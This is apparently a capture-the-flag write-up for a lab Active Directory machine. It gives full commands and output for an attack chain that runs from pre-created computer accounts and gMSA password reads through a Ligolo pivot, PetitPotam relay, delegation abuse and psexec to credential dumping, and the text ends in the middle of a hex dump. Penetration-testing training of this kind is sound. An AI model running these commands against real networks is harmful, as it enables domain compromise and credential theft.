Summary
Pirate is a Windows Active Directory machine built on chained misconfigurations rather than a patched CVE. Two computer accounts were pre-created in AD but never joined, leaving them with a predictable default password. That password gets a Kerberos ticket for MS01$, an account sitting in a non-default group with read access to two gMSA service accounts tied to ADCS/ADFS. Those credentials open a shell on the Domain Controller, from where a second, internally-isolated host is reached via a Ligolo-ng pivot. That host allows unsigned SMB, which enables a PetitPotam coercion relayed to LDAPS, granting a rogue account constrained delegation and SYSTEM through S4U2Proxy. A leaked Autologon password there exposes a domain user whose existing delegation trust, combined with WriteSPN on the DC's own object, lets a service ticket be redirected onto the Domain Controller as Administrator.
Attack chain: pre-created computer accounts have a default password → MS01$ TGT via NetExec pre2k → BloodHound shows ReadGMSAPassword → gMSA_ADCS_prod$ / gMSA_ADFS_prod$ hashes → WinRM shell on DC01 → pivot into internal subnet → WEB01 allows unsigned SMB → PetitPotam coercion relayed to LDAPS → COSHMPED$ gets constrained delegation over WEB01 → S4U2Proxy as Administrator → SYSTEM on WEB01 → secretsdump leaks a.white's cleartext password → SPN moved from WEB01 to DC01, ticket redirected via a.white's existing delegation trust → SYSTEM on DC01.
Recon
Port scan
The DC in this lab is 10.129.116.1, the only IP involved. A full TCP scan first, to avoid missing anything on a non-standard port:
nmap -p- --open -sS --min-rate 5000 -Pn -n -T4 10.129.116.1 -oX scan.xml
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-05 21:54 UTC
Nmap scan report for 10.129.116.1
Host is up (0.12s latency).
Not shown: 65513 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2179/tcp open vmrdp
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49687/tcp open unknown
49688/tcp open unknown
49691/tcp open unknown
49694/tcp open unknown
49919/tcp open unknown
61087/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 26.45 seconds
The port profile already identifies this as a Domain Controller before any version scan is run.
Service detection
nmap -p53,80,88,135,139,389,445,464,593,636,2179,3268,3269,5985,9389,49666,49693,49694,49696,49697,49922,49946 -sCV 10.129.116.1 -oN info_10.129.116.1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-05 21:55 UTC
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 6.25% done; ETC: 21:57 (0:01:30 remaining)
Nmap scan report for 10.129.116.1 (10.129.116.1)
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-05 21:56:20Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2026-09-05T21:43:06
|_Not valid after: 2027-09-05T21:43:06
|_ssl-date: 2026-09-05T21:57:50+00:00; +26s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-09-05T21:57:50+00:00; +26s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2026-09-05T21:43:06
|_Not valid after: 2027-09-05T21:43:06
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-09-05T21:57:50+00:00; +26s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2026-09-05T21:43:06
|_Not valid after: 2027-09-05T21:43:06
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2026-09-05T21:43:06
|_Not valid after: 2027-09-05T21:43:06
|_ssl-date: 2026-09-05T21:57:50+00:00; +26s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp filtered unknown
49693/tcp filtered unknown
49694/tcp open msrpc Microsoft Windows RPC
49696/tcp filtered unknown
49697/tcp filtered unknown
49922/tcp filtered unknown
49946/tcp filtered unknown
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-09-05T21:57:11
|_ start_date: N/A
|_clock-skew: mean: 25s, deviation: 0s, median: 25s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.22 seconds
The certificate commonName and LDAP banner confirm the domain pirate.htb and hostname DC01. SMB signing is required here, so direct SMB relay against the DC is not viable — that path opens later, on a different host. The IIS site on port 80 isn't pursued further, since LDAP turns out to be faster.
echo '10.129.116.1 pirate.htb DC01.pirate.htb' | sudo tee -a /etc/hosts
Enumeration
Users and computers
Starting from a low-privilege credential (pentest), we enumerate users and computer objects:
nxc smb DC01.pirate.htb -u pentest -p 'p3nt3st2025!&' --users
SMB 10.129.116.1 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.129.116.1 445 DC01 [+] pirate.htb\pentest:p3nt3st2025!&
SMB 10.129.116.1 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.116.1 445 DC01 Administrator 2025-06-08 14:32:36 0 Built-in account for administering the computer/domain
SMB 10.129.116.1 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.129.116.1 445 DC01 krbtgt 2025-06-08 14:40:29 0 Key Distribution Center Service Account
SMB 10.129.116.1 445 DC01 a.white_adm 2026-01-16 00:36:34 0
SMB 10.129.116.1 445 DC01 a.white 2025-06-08 19:33:01 0
SMB 10.129.116.1 445 DC01 pentest 2025-06-09 13:40:23 0
SMB 10.129.116.1 445 DC01 j.sparrow 2025-06-09 15:08:44 0
SMB 10.129.116.1 445 DC01 [*] Enumerated 7 local users: PIRATE
nxc ldap DC01.pirate.htb -u pentest -p 'p3nt3st2025!&' --computers
LDAP 10.129.116.1 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP 10.129.116.1 389 DC01 [+] pirate.htb\pentest:p3nt3st2025!&
LDAP 10.129.116.1 389 DC01 [*] Total records returned: 6
LDAP 10.129.116.1 389 DC01 DC01$
LDAP 10.129.116.1 389 DC01 WEB01$
LDAP 10.129.116.1 389 DC01 MS01$
LDAP 10.129.116.1 389 DC01 EXCH01$
LDAP 10.129.116.1 389 DC01 gMSA_ADCS_prod$
LDAP 10.129.116.1 389 DC01 gMSA_ADFS_prod$
MS01$ and EXCH01$ don't correspond to any live host on the network — a sign they may have been pre-staged in AD without a real machine ever completing the join.
Pre-created computer accounts
This is the actual vulnerability the rest of the chain depends on. A computer account that joins the domain normally gets a random 120+ character password assigned by the DC at join time. An account that is only pre-created — staged in advance by an administrator, before the physical machine exists — starts instead with a fixed, predictable password: the account's own name, lowercase, without the trailing $. That default is only ever replaced once the real machine completes its join and rotates it; if the join never happens, the default stays valid.
NetExec's pre2k module identifies computer accounts that still show this un-joined state and tests the expected default password against each one via Kerberos pre-authentication:
nxc ldap DC01.pirate.htb -u pentest -p 'p3nt3st2025!&' -M pre2k
LDAP 10.129.116.1 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP 10.129.116.1 389 DC01 [+] pirate.htb\pentest:p3nt3st2025!&
PRE2K 10.129.116.1 389 DC01 Pre-created computer account: MS01$
PRE2K 10.129.116.1 389 DC01 Pre-created computer account: EXCH01$
PRE2K 10.129.116.1 389 DC01 [+] Found 2 pre-created computer accounts. Saved to /home/z1rov/.nxc/modules/pre2k/pirate.htb/precreated_computers.txt
PRE2K 10.129.116.1 389 DC01 [+] Successfully obtained TGT for ms01@pirate.htb
PRE2K 10.129.116.1 389 DC01 [+] Successfully obtained TGT for exch01@pirate.htb
PRE2K 10.129.116.1 389 DC01 [+] Successfully obtained TGT for 2 (pre-created) computer accounts. Saved to /home/z1rov/.nxc/modules/pre2k/ccache
Both MS01$ and EXCH01$ match, and a TGT is issued for each using the default lowercase password. The module goes through Kerberos rather than SMB deliberately: a direct SMB logon attempt against a machine account is rejected with STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT, since that account type isn't permitted an interactive SMB session regardless of credential validity. A Kerberos AS-REQ for a TGT isn't subject to that account-type restriction, so it succeeds where SMB would not — though the KDC still enforces its own checks (account state, time skew, pre-auth requirements) beyond just matching the password.
export KRB5CCNAME=/home/z1rov/.nxc/modules/pre2k/ccache/exch01.ccache
klist
Ticket cache: FILE:/home/z1rov/.nxc/modules/pre2k/ccache/exch01.ccache
Default principal: exch01@PIRATE.HTB
Valid starting Expires Service principal
09/05/2026 22:53:51 09/06/2026 08:53:51 krbtgt/PIRATE.HTB@PIRATE.HTB
renew until 09/06/2026 10:53:25
EXCH01$ doesn't lead anywhere further, so the chain continues with MS01$ : ms01.
Attack path mapping
bloodhound-ce.py -d pirate.htb -u pentest -p 'p3nt3st2025!&' -ns 10.129.116.1 -dc dc01.pirate.htb -c All --zip -op pirate
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: pirate.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.pirate.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 4 computers
INFO: Connecting to LDAP server: dc01.pirate.htb
INFO: Connecting to GC LDAP server: dc01.pirate.htb
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer: WEB01.pirate.htb
INFO: Querying computer: DC01.pirate.htb
INFO: Done in 00M 35S
INFO: Compressing output into 20260905093812_bloodhound.zip
This collection is where WEB01 first appears — it becomes the target of the second half of the chain. Pathing from MS01 shows it belongs to a non-default group, Domain Secure Servers, which has been granted ReadGMSAPassword over two Group Managed Service Accounts:
GMSA_ADFS_PROD$@PIRATE.HTBGMSA_ADCS_PROD$@PIRATE.HTB
A gMSA's password should only be readable by the specific hosts or accounts listed in its PrincipalsAllowedToRetrieveManagedPassword property, decoded directly from msDS-ManagedPassword in LDAP — no cracking needed. Putting a workstation-level account like MS01$ into that group is an over-broad grant, given that these two accounts (ADCS, ADFS) back the domain's certificate and federation services.
Exploitation
gMSA secrets
nxc ldap DC01.pirate.htb -u 'MS01$' -p 'ms01' --gmsa -k
LDAP DC01.pirate.htb 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP DC01.pirate.htb 389 DC01 [+] pirate.htb\MS01$:ms01
LDAP DC01.pirate.htb 389 DC01 [*] Getting GMSA Passwords
LDAP DC01.pirate.htb 389 DC01 Account: gMSA_ADCS_prod$ NTLM: aa831d274ee80cf2092f68cbcf29093e PrincipalsAllowedToReadPassword: Domain Secure Servers
LDAP DC01.pirate.htb 389 DC01 Account: gMSA_ADCS_prod$ aes128-cts-hmac-sha1-96: 5a174fa34293c0eb347407e7ba3e12fa
LDAP DC01.pirate.htb 389 DC01 Account: gMSA_ADCS_prod$ aes256-cts-hmac-sha1-96: 5ca2fd1275281f9ce37bd4db8dcc01637edf176067cb35b55b7c70c30c9cd82f
LDAP DC01.pirate.htb 389 DC01 Account: gMSA_ADFS_prod$ NTLM: e819498ec29f595382df1eaf4fb42307 PrincipalsAllowedToReadPassword: Domain Secure Servers
LDAP DC01.pirate.htb 389 DC01 Account: gMSA_ADFS_prod$ aes128-cts-hmac-sha1-96: b3bedca3542b1a3427a572f9640c14de
LDAP DC01.pirate.htb 389 DC01 Account: gMSA_ADFS_prod$ aes256-cts-hmac-sha1-96: 8780bab067a723428b720443f13e698c5f959f7546f2193a6b094fd40f992fdc
Matches BloodHound's graph exactly.
Credentials found: gMSA_ADCS_prod$ : aa831d274ee80cf2092f68cbcf29093e (NTLM) · gMSA_ADFS_prod$ : e819498ec29f595382df1eaf4fb42307 (NTLM)
Remote shell
nxc winrm DC01.pirate.htb -u 'gMSA_ADFS_prod$' -H 'e819498ec29f595382df1eaf4fb42307'
WINRM 10.129.116.1 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb)
WINRM 10.129.116.1 5985 DC01 [+] pirate.htb\gMSA_ADFS_prod$:e819498ec29f595382df1eaf4fb42307 (Pwn3d!)
nxc winrm DC01.pirate.htb -u 'gMSA_ADCS_prod$' -H 'aa831d274ee80cf2092f68cbcf29093e'
WINRM 10.129.116.1 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb)
WINRM 10.129.116.1 5985 DC01 [+] pirate.htb\gMSA_ADCS_prod$:aa831d274ee80cf2092f68cbcf29093e (Pwn3d!)
Both gMSAs can open a WinRM session on the DC — itself unusual, since these accounts are meant to run services, not log in interactively:
evil-winrm -i DC01.pirate.htb -u 'gMSA_ADCS_prod$' -H 'aa831d274ee80cf2092f68cbcf29093e'
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\gMSA_ADCS_prod$\Documents> whoami
pirate\gmsa_adcs_prod$
Internal hosts
Get-ADComputer -Filter * | Select-Object Name
Name
----
DC01
WEB01
MS01
EXCH01
ping WEB01
Pinging web01.pirate.htb [192.168.100.2] with 32 bytes of data:
Reply from 192.168.100.2: bytes=32 time=1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Ping statistics for 192.168.100.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 1ms, Average = 0ms
WEB01 sits on 192.168.100.0/24, unreachable from our attack box directly — a pivot through the dual-homed DC is needed.
Pivoting
upload /opt/tools/forja/ligolo/ligolo-agent_windows_amd64.exe
Info: Uploading /opt/tools/forja/ligolo/ligolo-agent_windows_amd64.exe to C:\Users\gMSA_ADCS_prod$\Documents\ligolo-agent_windows_amd64.exe
Data: 9831764 bytes of 9831764 bytes copied
Info: Upload successful!
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 192.168.100.0/24 dev ligolo
ligolo-proxy -selfcert
.\ligolo-agent_windows_amd64.exe -connect 10.10.15.30:11601 -ignore-cert
ligolo-ng » session
? Specify a session : 1 - PIRATE\gMSA_ADCS_prod$@DC01 - 10.129.116.1:56347 - 00155d0bd000
[Agent : PIRATE\gMSA_ADCS_prod$@DC01] » start
INFO[0019] Starting tunnel to PIRATE\gMSA_ADCS_prod$@DC01 (00155d0bd000)
ping -c 1 192.168.100.2
PING 192.168.100.2 (192.168.100.2) 56(84) bytes of data.
64 bytes from 192.168.100.2: icmp_seq=1 ttl=64 time=146 ms
--- 192.168.100.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 146.176/146.176/146.176/0.000 ms
echo '192.168.100.2 WEB01.pirate.htb' | sudo tee -a /etc/hosts
Scanning WEB01
sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -T4 WEB01.pirate.htb -oX scan.xml
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-06 00:04 UTC
Nmap scan report for WEB01.pirate.htb (192.168.100.2)
Host is up (0.20s latency).
Not shown: 65526 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49664/tcp open unknown
49665/tcp open unknown
49686/tcp open unknown
49687/tcp open unknown
49707/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 53.52 seconds
No DNS, Kerberos or LDAP ports — WEB01 is a regular member server, not another DC.
nmap -p80,135,139,445,49664,49665,49686,49687,49707 -sCV WEB01.pirate.htb -oN info_192.168.100.2
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-06 00:08 UTC
Nmap scan report for WEB01.pirate.htb (192.168.100.2)
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
49687/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 25s
| smb2-time:
| date: 2026-09-06T00:09:53
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.89 seconds
SMB signing here is enabled but not required — the setting the next stage depends on.
Coercion and relay
nxc smb WEB01.pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -M coerce_plus
SMB 192.168.100.2 445 WEB01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:False)
SMB 192.168.100.2 445 WEB01 [+] pirate.htb\pentest:p3nt3st2025!&
COERCE_PLUS 192.168.100.2 445 WEB01 VULNERABLE, PetitPotam
COERCE_PLUS 192.168.100.2 445 WEB01 VULNERABLE, PrinterBug
COERCE_PLUS 192.168.100.2 445 WEB01 VULNERABLE, PrinterBug
COERCE_PLUS 192.168.100.2 445 WEB01 VULNERABLE, MSEven
Several coercion primitives are available; we proceed with PetitPotam, which abuses MS-EFSRPC to force WEB01$ to authenticate to a host we control. Paired with unsigned SMB, that authentication can be relayed live to a different protocol instead of just captured.
The relay listener goes up first. Targeting ldaps:// with --delegate-access tells ntlmrelayx to create a new computer account and grant it constrained delegation over whatever machine authenticates:
sudo ntlmrelayx.py -t ldaps://dc01.pirate.htb --delegate-access --remove-mic -smb2support
PetitPotam.py 10.10.15.30 WEB01.pirate.htb -u 'gMSA_ADCS_prod$' -hashes :aa831d274ee80cf2092f68cbcf29093e
Impacket v0.14.0.dev0+20260828.120813.032dfb1b - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client RPC loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Setting up MSSQL Server on port 1433
[*] Setting up RDP Server on port 3389
[*] Multirelay disabled
[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.129.116.1, attacking target ldaps://dc01.pirate.htb
[*] (SMB): Authenticating connection from PIRATE/WEB01$@10.129.116.1 against ldaps://dc01.pirate.htb SUCCEED [1]
[*] ldaps://PIRATE/WEB01$@dc01.pirate.htb [1] -> Enumerating relayed user's privileges. This may take a while on large domains
[*] All targets processed!
[*] (SMB): Connection from 10.129.116.1 controlled, but there are no more targets left!
[*] ldaps://PIRATE/WEB01$@dc01.pirate.htb [1] -> Attempting to create computer in: CN=Computers,DC=pirate,DC=htb
[*] ldaps://PIRATE/WEB01$@dc01.pirate.htb [1] -> Adding new computer with username: COSHMPED$ and password: (UKd426CZp0M8tZ result: OK
[*] ldaps://PIRATE/WEB01$@dc01.pirate.htb [1] -> Delegation rights modified succesfully!
[*] ldaps://PIRATE/WEB01$@dc01.pirate.htb [1] -> COSHMPED$ can now impersonate users on WEB01$ via S4U2Proxy
WEB01$ authenticated to the fake LDAPS listener, and ntlmrelayx used that session to create COSHMPED$ and grant it constrained delegation over WEB01. The PetitPotam side confirms the coercion landed:
Trying pipe lsarpc
[-] Connecting to ncacn_np:web01.pirate.htb[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
The primary method is patched, but PetitPotam's fallback (EfsRpcEncryptFileSrv) still works; the ERROR_BAD_NETPATH at the end is expected once coercion has already succeeded.
Account obtained: COSHMPED$ : (UKd426CZp0M8tZ — constrained delegation over WEB01$.
Impersonating Administrator
getST.py -spn 'cifs/WEB01.pirate.htb' -impersonate Administrator -dc-ip dc01.pirate.htb 'pirate.htb/COSHMPED$:(UKd426CZp0M8tZ'
Impacket v0.14.0.dev0+20260828.120813.032dfb1b - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
klist
Ticket cache: FILE:Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
Default principal: Administrator@pirate.htb
Valid starting Expires Service principal
09/06/2026 00:14:53 09/06/2026 10:14:52 cifs/WEB01.pirate.htb@PIRATE.HTB
renew until 09/07/2026 00:14:26
psexec.py -k -no-pass pirate.htb/Administrator@WEB01.pirate.htb
Impacket v0.14.0.dev0+20260828.120813.032dfb1b - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on WEB01.pirate.htb.....
[*] Found writable share ADMIN$
[*] Uploading file vdbZsgUU.exe
[*] Opening SVCManager on WEB01.pirate.htb.....
[*] Creating service Cuzj on WEB01.pirate.htb.....
[*] Starting service Cuzj.....
C:\WINDOWS\system32> whoami
nt authority\system
powershell
hostname ; whoami ; ipconfig ; type user.txt
WEB01
nt authority\system
Windows IP Configuration
Ethernet adapter Ethernet 2:
IPv4 Address. . . . . . . . . . . : 192.168.100.2
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.100.1
80eae9b6b609325e66dd45cd9bc5****
Lateral Movement
Credential dump
secretsdump.py -k -no-pass pirate.htb/Administrator@WEB01.pirate.htb
Impacket v0.14.0.dev0+20260828.120813.032dfb1b - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x342dfe90cc4061078b79f011cd08f931
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b1aac1584c2ea8ed0a9429684e4fc3e5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:60da2d3ba00d6b5932e4c87dce6fa6b4:::
[*] Dumping cached domain logon information (domain/username:hash)
PIRATE.HTB/Administrator:$DCC2$10240#Administrator#8baf09ddc5830ac4456ee8639dd89644: (2026-02-25 02:41:09+00:00)
PIRATE.HTB/gMSA_ADFS_prod$:$DCC2$10240#gMSA_ADFS_prod$#66812dfee46ff41c9c8245a2819c3183: (2026-09-05 21:55:24+00:00)
PIRATE.HTB/a.white:$DCC2$10240#a.white#366c8924be3ea6d1d12825569a4bcc39: (2026-09-05 21:53:19+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
PIRATE\WEB01$:aes256-cts-hmac-sha1-96:57b48ef53425adf16b2409ea4d980de1007c9f61b126bdc1c05d3d830c727526
PIRATE\WEB01$:aes128-cts-hmac-sha1-96:b6b018d4edd476f0999d6f666844cf77
PIRATE\WEB01$:des-cbc-md5:efdf97b9a1e06243
PIRATE\WEB01$:plain_password_hex:29f1505d87014b01b4317fed1d52ddbee2792a698e7e1de1bcdf29ab5d4b8e54828ce470d23491ba84e82d786622a821a14c730cf8610a32db1951b7619ee08c3bcacbab53aac8e052bd64e638c6bbd9529daacf04f86cfb9034808c4378d2c328c8c6afe7655f4a099dc41caeb6279c53313edcbd58db3e14490b7543ba3250ac200ec9834992b61b3f4319162645b50f402de4db0843fc43db7d54e04828abf86e490959bc88670e50f0b50373a3745f70039f8fd032435c4a725526957c7ae0dbaa81273b3aa28c0b029fea90c271b6601ef3ba7a05a13ec8c8ffd9999dd10eee87b4b9eb08a8a4af90710056f558
PIRATE\WEB01$:aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9:::
[*] DefaultPassword
PIRATE\a.white:E2nvAOKSz5Xz2MJu
[*] DPAPI_SYSTEM
dpapi_machinekey:0x01cffc2ef9a91d20107371f9a4a4112c892ed989
dpapi_userkey:0xa4fddb1b2df2db7cc3d044dc1b559bc1b45a1de9
[*] NL$KM
0000 A5 24 39 57 3F 8F 30 DC 61 F1 56 B7 B5 5C 0F 7C .$9W?.0.a.V..\.|
0010 6B 0A FF DF B0 A2 99 C3 68 A9 FE 15 E2 48 33 A9 k.......h....H3.
0020 E9 8C 27 F8 8B 7C 05 55 4D FE 3C 5D 09 EA 9C 49 ..'..|.UM.<]...I
0030 95 EB 7A 09 5B 48 7A 14 DC 74 E9 CB 7C 1A E0 8A ..z.[Hz..t..|...
NL$KM:a52439573f8f30dc61f156b7b55c0f7c6b0affdfb0a299c368a9fe15e24833a9e98c27f88b7c05554dfe3c5d09ea9c4995eb7a095b487a14dc74e9cb7c1ae08a
[*] _SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_a09ca32bc7cd2ce752ae0143bd203f0551564c04dd2846c4ed3e4e5a61cc9f11
0000 E3 EF 47 4B 98 13 8D D4 46 9F 6D C1 76 F8 79 BA ..GK....F.m.v.y.
0010 1E 08 17 BA 44 50 21 87 B9 08 0B 9F 33 34 C9 1B ....DP!.....34..
0020 9B 1A F1 CE 4E 91 FB 56 2C 8D 88 24 41 2C 70 0E ....N..V,..$A,p.
0030 00 D1 05 BC 67 4D 8E 26 A5 94 E3 DA 41 73 F2 C8 ....gM.&....As..
0040 73 13 D6 34 B3 9C 34 12 D4 BF B6 84 92 47 68 6D s..4..4......Ghm
0050 F6 06 5B 53 65 66 80 7E 0A CE 92 F9 4E A3 16 6B ..[Sef.~....N..k
0060 B9 75 2D 12 D3 52 C8 9B 9F DA FA 7D 31 71 E4 DD .u-..R.....}1q..
0070 55 BE 9D 58 55 04 F8 C6 28 A0 FF 4C 67 0D 75 95 U..XU...(..Lg.u.
0080 A9 09 A3 C9 A7 EC 2D FF 98 4E 5D DF 77 04 9A 91 ......-..N].w...
0090 A5 59 7F 0A 39 C5 49 94 55 67 59 01 CC E4 1A DE .Y..9.I.UgY.....
00a0 D9 8D 80 A1 B5 F7 F8 2C C2 20 B5 90 DF 4B FC 0B .......,. ...K..
00b0 FC 5F 0F EB 66 E7 3A 56 F1 AB 7F E9 14 C6 D7 CD ._..f.:V........
00c0 2B 83 E0 B9 06 5B 76 E0 2B C3 30 F7 69 44 16 F3 +....[v.+.0.iD..
00d0 AC D6 C4 63 DF 84 92 35 00 B6 4A 10 14 E7 44 13 ...c...5..J...D.
00e0 80 9A 7A 06 AF 57 7C E7 68 5B FD 2A B5 6A 20 67 ..z..W|.h[.*.j g
